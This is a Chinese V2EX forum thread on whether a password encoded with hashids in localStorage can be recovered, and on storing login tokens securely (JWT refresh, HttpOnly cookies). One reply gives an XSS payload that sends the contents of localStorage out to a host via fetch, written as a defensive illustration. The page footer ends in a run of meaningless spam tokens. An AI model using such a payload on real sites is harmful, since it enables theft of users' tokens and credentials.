如何破解前端保存的用户密码? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
yjim

如何破解前端保存的用户密码?

  •  
  •   yjim 2023 年 2 月 25 日 2991 次点击
    这是一个创建于 1155 天前的主题,其中的信息可能已经有所发展或是发生改变。

    前端用 Vue 框架搭建的,生成一串密钥保存在 .env 里

    使用 hashids 把用户密码加密保存到 localStorage ,在登录界面 取出密文用 hashids 解密,再自动填充到 password 中。

    1. 这种情况下,攻击者如何取出并解密得到用户的密码?
    2. 前端应该如何保存密码或者 token 来实现免登录?
    29 条回复    2023-02-27 13:04:58 +08:00
    sheeta
        1
    sheeta  
       2023 年 2 月 25 日   1
    掩耳盗铃...
    renmu
        2
    renmu  
       2023 年 2 月 25 日 via Android
    你怎么解密他就怎么解密,所以你为什么要把密码存在本地
    shakaraka
        3
    shakaraka  
    PRO
       2023 年 2 月 25 日
    hashids 放前端用?
    yaott2020
        4
    yaott2020  
       2023 年 2 月 25 日 via Android
    建议上 OIDC
    DoveAz
        5
    DoveAz  
       2023 年 2 月 25 日
    为什么要破解,我把你加密的密码存到我的 locaostorage 不就行了
    okakuyang
        6
    okakuyang  
       2023 年 2 月 25 日
    1.攻击者要找到脚本漏洞使用 xss 攻击方式获取用户密码
    2.应该保存 token 登陆,而不是密码明文。
    yjim
        7
    yjim  
    OP
       2023 年 2 月 25 日
    @renmu 那你就理解成 jwt 吧,目的是免登录

    @wunonglin 前后端都可以用吧,没在前端用过,理论上前端是透明的 道理我懂,只是一个不成熟的想法,想问问行不行得通,不行就算了。

    @yaott2020 就是用的 jwt ,现在在思考前端如何保存 token , 总不能每次都登录一下吧。

    @DoveAz 感谢提醒, 一下子没想到这个。

    @okakuyang 我以为 token 和密码是一样的,怎么保存密码就怎么保存 token ,密码怎么泄漏的,token 就怎么泄漏,泄漏 token ,攻击者就能以你的身份进行操作了。。
    yjim
        8
    yjim  
    OP
       2023 年 2 月 25 日
    @renmu @wunonglin @yaott2020 @DoveAz @okakuyang

    思考了一下,前端也不搞花里胡哨了,直接明文存 token ,后台对 token 和 IP +mac 绑定,校验 token 的同时校验 ip 和 mac ,如果不一致则校验失败,这样做还有风险么??
    yaott2020
        9
    yaott2020  
       2023 年 2 月 25 日 via Android
    @yjim 你这样保障安全性局限太大了吧
    okakuyang
        10
    okakuyang  
       2023 年 2 月 25 日
    @yjim 那估计动不动就要重新登陆了
    yjim
        11
    yjim  
    OP
       2023 年 2 月 25 日
    @yaott2020 比如?


    @okakuyang 就我了解到的,现在的网络供应商一般都是 48 小时才重置一次 IP 吧,然后我这服务不是面向公众的,用户基本上都是在稳定的设备上登录使用,不至于动不动就要重新登录吧。

    然后校验 ip 和 mac 只是一个思路 /方向。
    a33291
        12
    a33291  
       2023 年 2 月 25 日
    只要明文传输,fiddler 抓一下就能看到,甚至都不需要知道他怎么加密的
    yjim
        13
    yjim  
    OP
       2023 年 2 月 25 日
    @a33291 请求必然是 https 的
    wangxiaoaer
        14
    wangxiaoaer  
       2023 年 2 月 25 日
    我就没搞懂,你前面搞这么复杂,后端请求难道不验证了吗?如果验证携带什么?如果不验证就类似开放的系统,破了其他用户密码有毛用?
    Senorsen
        15
    Senorsen  
       2023 年 2 月 25 日
    MAC 怎么拿的??
    rabbbit
        16
    rabbbit  
       2023 年 2 月 25 日
    如果部分地方用了 v-html 渲染用户输入的内容 ,则可能被通过 XSS 攻击的方式获取到密码,例如:

    <div v-html="content"></div>
    content:'<img src="" Onerror="fetch(`http://127.0.0.1/${JSON.stringify(localStorage)}`)" />'
    yjim
        17
    yjim  
    OP
       2023 年 2 月 25 日
    @rabbbit vue 安全页面里有强调过这个,v-html 能不用就不用,用的话要对能容进行 xssfilter
    rabbbit
        18
    rabbbit  
       2023 年 2 月 25 日
    想要安全就用 cookies ,然后设置 Secure 和 HttpOnly
    yjim
        19
    yjim  
    OP
       2023 年 2 月 25 日
    @Senorsen 只是一个思路,不一定非要是 mac ,像一些大厂,你异地登录就能识别出来,然后要求手机验证,总有办法进行识别的。我原先想着在前端做一些保护,比如加密存储 token ,不过看起来前端是彻底暴露的,所以重点还是要在后端做好防护才行。
    yjim
        20
    yjim  
    OP
       2023 年 2 月 25 日
    @rabbbit 感谢提醒,我去了解下这个
    yaott2020
        21
    yaott2020  
       2023 年 2 月 25 日 via Android
    @yjim 比如我 wifi 数据互相切换,ip mac 全变了,不就得要重新登陆
    yaott2020
        22
    yaott2020  
       2023 年 2 月 25 日 via Android
    你不如设置 cookie 存个 token ,设置过期时间
    blankmiss
        23
    blankmiss  
       2023 年 2 月 25 日
    @yjim https 也一样抓啊
    yjim
        24
    yjim  
    OP
       2023 年 2 月 25 日
    @blankmiss https 怎么抓?中间人攻击?
    blankmiss
        25
    blankmiss  
       2023 年 2 月 26 日
    @yjim fiddler 类似这种需要添加 https 证书的抓包软件就行了
    leaflxh
        26
    leaflxh  
       2023 年 2 月 26 日
    可以考虑非对称加密,客户端拿公钥加密存到本地,然后把密文发到服务端用私钥解密
    leaflxh
        27
    leaflxh  
       2023 年 2 月 26 日
    (没用过 jwt
    zhengfan2016
        28
    zhengfan2016  
       2023 年 2 月 26 日
    没看懂帖子想说什么,如果是 jwt 的话,前端保存 token 到 localstorage 就好了,jwt 指定一个小时过期,即将过期的前半个小时,前端判断快过期了,自己调用接口用旧 token 去更换新 token 。

    只要用户一直在线四处浏览网页,就不会掉登录。

    闲麻烦就用双 token ,一个时效长一点的 token(14 天)和时效一个小时的 token ,平时只用短时效的 tolen 请求 api ,token 快过期了,再用长 token 去刷新短 token
    yjim
        29
    yjim  
    OP
       2023 年 2 月 27 日
    @blankmiss 防黑客不防用户自己,像你说的这种,前端防御更没意义。。。原主题的结果是前端防黑客也没啥大用。还是得后端配合。


    @leaflxh jwt 也是生成密钥发给前端,我讨论的是前端 web 怎么存这个密钥来防黑客模拟用户身份进行操作。已得出初步结论:防不住,得后端来做校验
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2866 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 66ms UTC 13:42 PVG 21:42 LAX 06:42 JFK 09:42
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86